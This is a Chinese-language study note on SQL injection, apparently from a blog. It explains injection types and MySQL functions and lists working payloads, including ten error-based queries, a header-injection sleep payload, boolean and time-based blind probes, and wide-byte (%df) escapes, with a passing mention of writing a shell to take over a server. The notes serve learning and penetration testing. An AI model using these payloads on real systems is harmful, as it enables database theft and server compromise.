SQL注入

#学习笔记#

SQL注入的产生原因

再数据交互中,当前端的数据传入后端进行处理时,由于没有做严格的判断,导致传入的“数据”再拼接到SQL语句终止后,由于特殊性,被当作SQL语句的一部分被执行,从而导致数据库受损(被脱库、被删除甚至整个服务器权限沦陷)。

产生SQL注入的两个条件

1.传参点用户可控

2.用户输入的数据最终被当做代码来解析

SQL注入的类型

按注入点分

数字型、字符型

按提交方式分

GET / POST / HEAD / COOKIE

按执行效果分

联合查询注入、显错注入、布尔注入、报错注入、时间注入、堆叠注入、二次注入、宽字节注入等

 MYSQL内置函数

version()当前sql的版本

database()当前网站使用的数据库的库名

user()当前MYSQL的用户名

substr() 截取字符串

length() 计算字符串长度

 联合查询

前后两个查询语句的字段数必须保持一致,前后连个查询语句中,数据源的排序规则需要保持一致。

如果我们希望后面语句的查询结果显示到第一行,必须让第一个语句的条件设置为false

order by 以某个字段为基准进行结果排序。在进行结果排序时,排序的基准字段必须是当前语句中的某一个字段,也就是说order by 排序的数值必须在当前SQL语句的字段数值范围内

SQL注入的流程

1.探测注入点

通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果采用动态构造SQL语句访问数据库,并且对用户的输入没有有效性验证,则会大大提高产生注入漏洞的可能性。

2.收集后台数据库信息

针对不同的数据库有不同的注入方法,在诸如之前要先判断数据库的类型。

判断方法

可以通过输入特殊字符,根据程序返回的错误信息进行判断,也可以使用不同的注释方法啊(oracle不支持#号注释,而mysql/mssql/access支持#注释)

3.猜解数据库字段

通过构造特殊的SQL语句在数据库中一次猜解出表名、字段名、字段数、用户名和密码。

4.入侵和破坏

通过SQL注入写shell,可以直接控制目标服务器,进一步扩大渗透出测试的战国。

联合注入

使用条件:对不同的查询语句有不同的结果时可以使用。

报错注入

产生原理:利用特殊函数引发报错,而报错会照常输出恶意查询语句的内容,根据错误内容得到数据。

利用条件:存在SQL注入漏洞;前端页面返回错误内容。

可利用函数:

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (ipdatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));


5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));


6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));


7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));


8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));


9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));
extractvalue函数

extractvalue函数接受两个字符串参数,一个XML标记片段xml_flag和一个xpath表达式xpath_expr也称定位器;它返回CDATA第一个文本节点的text,该节点时xPath表达式匹配的元素的子元素。

第一个参数传入目标xml文档,第二个参数使用xpath路径表示的查找路径。在写第二个参数时,如果xpath的语法错误就会报错。

如果在xpath中出现了以下特殊字符,就会报错

~ ! # $ % ^ &

使用concat拼接函数将特殊字符与数据库表达式拼接在一起,在数据库报错时,将数据库语句解析后显示到前端。

在进行报错注入时,习惯将特殊字符转换成16进制来使用,因为如果直接使用特殊字符,那么必须要用引号包裹,但是引号很容易被过滤,所以建议使用16进制。在数据库中使用16进制必须要明确的标明进制的格式,所以在使用16进制时,前面必须要加一个0x

updatexml函数

updatexml(xml,target,xpath_expr,new_xml)

使用updatexml函数报错原理与extractcalue一样,在xpath中插入特征字符后,也会触发报错。

header注入

在PHP中存在许多超全局变量,这些变量在所有作用域都可用。开发者在验证用户的传参时,如果用户通过form表单进行传参验证机制都比较强。如果后台服务器在记录用户的header信息时,因为header信息不是一个常规的传参点,所以开发者就会放松警惕,从而减少过滤。

header注入一般回合报错注入实现联合注入。

在进行header注入时要先登陆。可以使用bp爆破。

header注入探测

可能被数据库记录的header字段:

UA、REFERE、X_FORWARDED_FOR、REMOTE_ADDR

如何判断如下字段是否被数据库记录:

INSERT INTO uagent ('uagent','username') VALUES ('$uagent','$uname')

构建payload 1‘ and sleep(5),1) -- a

将payload放入$uagent变量位置

INSERT INTO uagent ('uagent','username') VALUES ('1’ and sleep(5),1)-- a','admin')

如果UA位置上存在header注入,那么页面就会增加5秒钟

确定存在注入以后就可以利用报错函数爆出敏感函数,只要将sleep函数替换为报错函数即可。

floor报错注入

基础知识

rand函数

用于产生0-1之间的随机数

rand()无参数形式,此时产生的随机数是随机的不可重复的

rand(n),有参数形式,参数n相当于产生随机数的种子,此时产生的随机数是可重复的

floor函数

返回小于等于括号内该值的整数,因为rand函数产生的是0-1之间的随机数,那么加上floor函数后产生的数永远为0,而将rand()函数的结果成乘以2,就会随机产生0和1 ,如果在随机数函数加入随机数种子0,就会产生规律的随机数011011.

group by函数

此函数主要用于对数据进行分组,将具有相同字段的元素归为一组

count函数

统计记录的记录数

将之前的函数组合到一起就会产生报错

select count(*),floor(rand(0)*2) a from flag group by a;//统计后面产生的随机数的种类并计算每个种类的数量

报错原理

当mysql遇到该语句实惠建立一个虚拟表,该虚拟表有两个字段,一个是分组的key,一个是计数值count(*),在查询你数据时,先查看该虚拟表中是否存在该分组,如果存在那么计数值加一,不存在则新建该分组。

而mysql官方提示过如果查询时使用rand()的话,会被计算多次,就是说在使用group by的时候floor(rand(0)*2)被计算了一次,如果虚表不存在记录,插入虚表时会再计算一次。而根据产生的011011来看。第一次计算0不存在于虚表中,插入时,再次计算,插入值为1,对第二个值进行分类(实际为第三次计算),只需在count加一,而下一次计算为0,不存在于虚表中,需要加入虚表中,但在加入时,第五次计算结果为1,即第二次将1插入虚表,造成主键重复,产生报错。

布尔盲注

基础知识

length() //获取字符串的长度

select LENGTH(database()); //拿到当前数据库的库名的长度

select LENGTH(database())>5; //对数据库的苦命长度进行猜测,若条件为真,返回1,条件为假,返回0

判断库名包含的字符

substrate() 对字符串进行截取

select substr(database(),1,1)='s' //判断库名的字符

也可以通过ASCII码判断字符

ascii() 获取字符的ASCII码

select ascii(substr(database(),1,1))=115 //通过ascii码判断库名的字符

手工爆破费时,可以使用bp爆破

时间盲注

页面既不回显数据,也不回显错误,还没有真假的反馈,就可以利用页面的响应时间来判断信息。

基础知识

sleep() //强制让数据库等待一定的时间

if(表达式1,表达式2,表达式3)如果表达式1为true,返回表达式2,否则返回表达式3

substr()//截取字符串

length()

ascii()

利用方法

if(length(database())>5,sleep(5),1);

堆叠注入

语句堆叠在一起进行查询,mysql_multi_query()支持多条语句同时执行但是实际遇到很少,可能受到API或者数据库引擎,又或者权限的限制,只有当调用数据库函数支持执行多条sql语句时才能使用。在实际情况中,PHP为了防止sql注入机制,通常使用mysql_query()函数,只能执行一条语句。

二次注入

指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句到组织的注入。比普通的sql注入利用更加困难,利用门槛更高。普通诸如数据直接进入到SQL查询中,而二次注入则是输入数据经处理后存储,取出后再次进入到sql查询。

利用条件

用户向数据库插入恶意语句

数据库直接取出恶意数据传给用户

防御

预处理+数据绑定

对于来自用户或者存储的输入,在进入SQL查询前都进行转义、过滤

宽字节注入

宽字节编码,一个字符的大小是两字节,英文默认占一个字节,中文两个字节

GB2312、GBK、GB18030、BIG5、Shift_JIS

原理

输入一个asci码大于128的16进制,然后再前面加上%,以%df为例,如果网站和mysql的字符集都是GBK的话,就会将%df和转义字符\的16进制%5c认为是一个宽字节,剩余‘实现攻击。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值